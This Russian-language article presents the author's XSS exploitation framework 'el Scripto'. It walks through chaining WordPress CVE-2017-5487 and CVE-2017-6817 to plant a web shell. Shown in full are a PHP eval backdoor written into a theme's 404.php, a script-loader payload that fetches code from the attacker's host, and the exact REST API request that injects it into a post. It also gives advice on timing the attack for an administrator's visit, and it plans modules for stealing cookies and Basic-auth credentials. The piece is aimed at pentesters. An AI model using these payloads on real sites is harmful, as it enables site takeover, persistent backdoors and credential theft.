Содержание статьи
Зачем нужен el Scripto?
Мне хотелось реализовать:
- набор эксплоитов для XSS в различных CMS;
- универсальный эксплоит для XSS;
- красивые и информативные отчеты;
- легкость эксплуатации и минимальные требования (Apache + PHP + MySQL + поддержка SSL).
В конце разработки добавился плагин для Burp Suite, посылающий XSS-пейлоад во все места на сайте (Blind XSS проверки).
Так как я не профессиональный разработчик, да и вообще разработчиком меня назвать язык не повернется, за основу решил взять темплейт на Bootstrap «SB Admin», следом был добавлен highlight.js для подсветки синтаксиса в отчетах и редакторе эксплоитов.
FAQ
Как этот фреймворк может помочь пентестерам?
Наверняка многие знают, что такое Meterpreter в MSF. Сам по себе он мало интересен, это полезная нагрузка для эксплуатации уязвимостей. То же самое и тут: находит кто-либо XSS в топовом движке, а полезная нагрузка для нее уже есть под рукой, и осталось всего лишь дождаться админа.
Очередной BeEF?
Нет. BeEF универсален, он не умеет сам лить бэкдоры или создавать новых админов на форуме, это приходится в нем делать вручную. Осложняется все тем, что он палится многими антивирусами и атакующий не может угадать, когда админ будет онлайн, чтобы выполнить все, что нужно, в его браузере. Но тем не менее интегрировать его и el Scripto было бы интересно.
Эксплуатируем баги WordPress CVE-2017-5487 и CVE-2017-6817 с el Scripto
Рассмотрим пример для двух критических багов в WordPress, найденных в январе — феврале этого года.
- CVE-2017-5487 позволяет неавторизованному злоумышленнику редактировать содержимое любого поста в блоге;
- CVE-2017-6817 — хранимая XSS в контенте поста.
Для начала в el Scripto на странице prepare.html добавим в базу эксплоит для WordPress, чтобы для него был сгенерирован свой пейлоад.
Кратко пройдемся по коду эксплоита:
-
payload — код PHP-бэкдора:
<?php if(isset($_GET['a'])){eval($_GET['a'])}; ?>
- SitePath — путь к корню блога;
- editor — iframe-элемент, открывающий редактор тем, после успешной загрузки срабатывает событие onload, запускающее функцию pao;
- функция pao (parse and open) — функция, которая парсит имя используемой темы и открывает ее файл 404.php для редактирования, после чего срабатывает событие onload у элемента editor и запускается функция eas;
- функция eas (edit and save) — функция, которая дописывает PHP-бэкдор (payload) в конец файла 404.php и сохраняет его.
Вернемся к эксплуатации. Далее нам нужно на главной странице выбрать наш новый эксплоит и скопировать JavaScript-пейлоад от него:
document.body.appendChild(document.createElement('script')).src='//elScripto/ /jquery.min.js?ver=6'
В запросе ниже заменяем:
alert(2)
на пейлоад;post id
на айди поста, который будем редактировать в атакуемом блоге;id
в JSON'е на тот же id и рандомную строку.
POST /wordpress/index.php?rest_route=/wp/v2/posts/%post id% HTTP/1.1
Host: 1.3.3.7
Connection: close
Content-Type: application/json
Content-Length: 129
{"id":"1string", "title":"demo", "content":"https://youtube.com/watch?v=12345x3csvg+onload%3Dalert%282%29x3e"}
Советую редактировать те посты, которые видно на главной странице, как только администратор авторизуется и зайдет на главную, эксплоит будет исполнен.
Планы на «подпилить»:
- добавить модуль для обхода Basic-авторизации;
- добавить модуль для сбора авторизационных данных (Cookie HTTP-only, значение хидера Basic-авторизации) из phpinfo();
- сделать эти модули подключаемыми и настраиваемыми по желанию;
- конечно же, добавлять новые эксплоиты.
Текущая версия el Scripto доступна у меня на Гитхабе.
Хочу поблагодарить @i_bo0om за тему со скриншотами страниц и @httpsonly за идею с плагином для Burp Suite.